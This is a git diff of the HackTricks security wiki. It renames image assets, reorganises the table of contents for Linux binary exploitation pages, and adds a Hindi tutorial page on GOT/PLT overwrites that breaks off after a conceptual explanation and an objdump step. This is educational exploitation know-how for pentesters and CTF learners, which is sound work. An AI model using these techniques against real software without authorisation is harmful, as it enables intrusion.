diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..e70bceed6 Binary files /dev/null and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index e70bceed6..2173ed0a4 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 2173ed0a4..53e9f7c1f 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 53e9f7c1f..0ea1b8586 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0ea1b8586..b38f1e7c3 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index b38f1e7c3..0e554c193 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0e554c193..a8cfa5b77 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index a8cfa5b77..33c23d55b 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 33c23d55b..bedca8e18 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index bedca8e18..a0a303a29 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index a0a303a29..f9a051e20 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index f9a051e20..0b96b38ef 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0b96b38ef..0ea2dbdc6 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0ea2dbdc6..af973a127 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png index af973a127..4207464e0 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png index 4207464e0..ca4f55331 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png index ca4f55331..1e61555dd 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png index 1e61555dd..6856b34b8 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png index 6856b34b8..cee86ab50 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png index cee86ab50..1a985c3d4 100644 Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png index 1a985c3d4..13854046c 100644 Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png index 13854046c..ee3722524 100644 Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..eaa792ed6 Binary files /dev/null and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index eaa792ed6..eb7611c98 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index eb7611c98..4ede9266b 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 4ede9266b..d7789e602 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index d7789e602..ca4b6651b 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index ca4b6651b..0330f840b 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0330f840b..8190e06a7 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 8190e06a7..0c49287b0 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0c49287b0..bedca8e18 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png index bedca8e18..611702103 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png index 611702103..f0efd5ebd 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png index f0efd5ebd..68b506e08 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png index 68b506e08..94022a58d 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1).png index 94022a58d..7118b03d4 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1).png index 7118b03d4..ae8c5810e 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1).png b/.gitbook/assets/image (2) (1) (1).png index ae8c5810e..e0b33932e 100644 Binary files a/.gitbook/assets/image (2) (1) (1).png and b/.gitbook/assets/image (2) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1).png b/.gitbook/assets/image (2) (1).png index e0b33932e..6c2c20ea1 100644 Binary files a/.gitbook/assets/image (2) (1).png and b/.gitbook/assets/image (2) (1).png differ diff --git a/.gitbook/assets/image (2).png b/.gitbook/assets/image (2).png index 6c2c20ea1..70413c7ff 100644 Binary files a/.gitbook/assets/image (2).png and b/.gitbook/assets/image (2).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..455fbb8b7 Binary files /dev/null and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 455fbb8b7..6874f9c86 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 6874f9c86..38b71f3d4 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 38b71f3d4..7dcdeb084 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 7dcdeb084..865dc4ae4 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png index 865dc4ae4..0d52048cb 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png index 0d52048cb..b98c9fbbc 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png index b98c9fbbc..78abb7891 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png index 78abb7891..cdd56bb93 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1).png index cdd56bb93..f406f4410 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1).png index f406f4410..61513f7bf 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1).png b/.gitbook/assets/image (3) (1) (1).png index 61513f7bf..e0b33932e 100644 Binary files a/.gitbook/assets/image (3) (1) (1).png and b/.gitbook/assets/image (3) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1).png b/.gitbook/assets/image (3) (1).png index e0b33932e..2c0467343 100644 Binary files a/.gitbook/assets/image (3) (1).png and b/.gitbook/assets/image (3) (1).png differ diff --git a/.gitbook/assets/image (3).png b/.gitbook/assets/image (3).png index 2c0467343..3646dc3f3 100644 Binary files a/.gitbook/assets/image (3).png and b/.gitbook/assets/image (3).png differ diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png index 3646dc3f3..f2f640d8c 100644 Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ diff --git a/SUMMARY.md b/SUMMARY.md index 878f387f1..327280410 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -695,20 +695,30 @@ * [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md) * [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md) * [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md) - * [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md) + * [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md) + * [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md) + * [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md) + * [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md) + * [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md) * [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md) - * [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md) - * [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md) - * [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md) - * [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md) - * [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md) - * [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md) - * [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md) - * [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md) - * [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md) - * [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md) + * [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md) + * [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md) + * [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md) + * [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md) + * [Common Binary Protections & Bypasses](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md) + * [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md) + * [Ret2plt](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md) + * [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md) + * [PIE](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md) + * [BF Addresses in the Stack](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md) + * [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md) + * [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md) + * [BF Forked Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) + * [Print Stack Canary](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md) + * [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md) + * [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md) + * [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md) * [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md) - * [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md) * [Exploiting Tools](exploiting/tools/README.md) * [PwnTools](exploiting/tools/pwntools.md) * [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md) diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md b/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md new file mode 100644 index 000000000..745dc360c --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -0,0 +1,77 @@ +# AW2Exec - GOT/PLT + +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड** करें तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)! +* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family) +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**।** +* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। + +
+ +## **मूलभूत जानकारी** + +### **GOT: ग्लोबल ऑफसेट टेबल** + +**ग्लोबल ऑफसेट टेबल (GOT)** एक तंत्र है जो डायनामिक लिंक किए गए बाइनरी में **बाहरी फ़ंक्शनों के पतों का प्रबंधन** करने के लिए उपयोग किया जाता है। क्योंकि ये **पते रनटाइम तक नहीं पते होते** (डायनामिक लिंकिंग के कारण), GOT एक तरीका प्रदान करता है **इन बाहरी प्रतीकों के पतों को डायनामिक रूप से अपडेट करने के लिए** जब वे हल हो जाते हैं। + +GOT में प्रत्येक प्रविष्टि एक प्रतीक से मेल खाती है जो बाइनरी के बाहरी पुस्तकालयों में हो सकती है। जब एक **फ़ंक्शन पहली बार कॉल होता है, तो उसका वास्तविक पता डायनामिक लिंकर द्वारा हल किया जाता है और GOT में संग्रहीत किया जाता है**। इसके बाद, उसी फ़ंक्शन को दोबारा कॉल करने पर, GOT में संग्रहीत पते का उपयोग किया जाता है, इसलिए पता फिर से हल करने के ओवरहेड से बचा जाता है। + +### **PLT: प्रोसीजर लिंकेज टेबल** + +**प्रोसीजर लिंकेज टेबल (PLT)** GOT के साथ मिलकर काम करती है और बाहरी फ़ंक्शनों को कॉल करने के लिए एक ट्रैम्पोलीन के रूप में सेवा प्रदान करती है। जब एक बाइनरी **पहली बार एक बाहरी फ़ंक्शन को कॉल करता है, तो उस फ़ंक्शन के साथ संबंधित PLT में एक प्रविष्टि में नियंत्रण पास किया जाता है**। यह PLT प्रविष्टि डायनामिक लिंकर को आमंत्रित करने के लिए जिम्मेदार होती है ताकि यदि पता हल नहीं किया गया है तो फ़ंक्शन का पता हल किया जा सके। पता हल होने के बाद, यह GOT में संग्रहीत किया जाता है। + +**इसलिए,** GOT प्रविष्टियों का सीधा उपयोग किया जाता है जब बाहरी फ़ंक्शन या प्रतीक का पता हल होता है। **PLT प्रविष्टियों का उपयोग पहले पता हल करने** के द्वारा इन पतों के पते का पहले हल करने के लिए किया जाता है डायनामिक लिंकर के माध्यम से। + +## निष्पादन प्राप्त करें + +### GOT की जाँच करें + +**`objdump -s -j .got ./exec`** के साथ GOT टेबल का पता प्राप्त करें + +![](<../../../.gitbook/assets/image (619).png>) + +ध्यान दें कि **GOT** में **फ़ंक्शन** दिखाई देते हैं जो **GOT** में हैं: `gef➤ x/20x 0xDIR_GOT` + +![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) 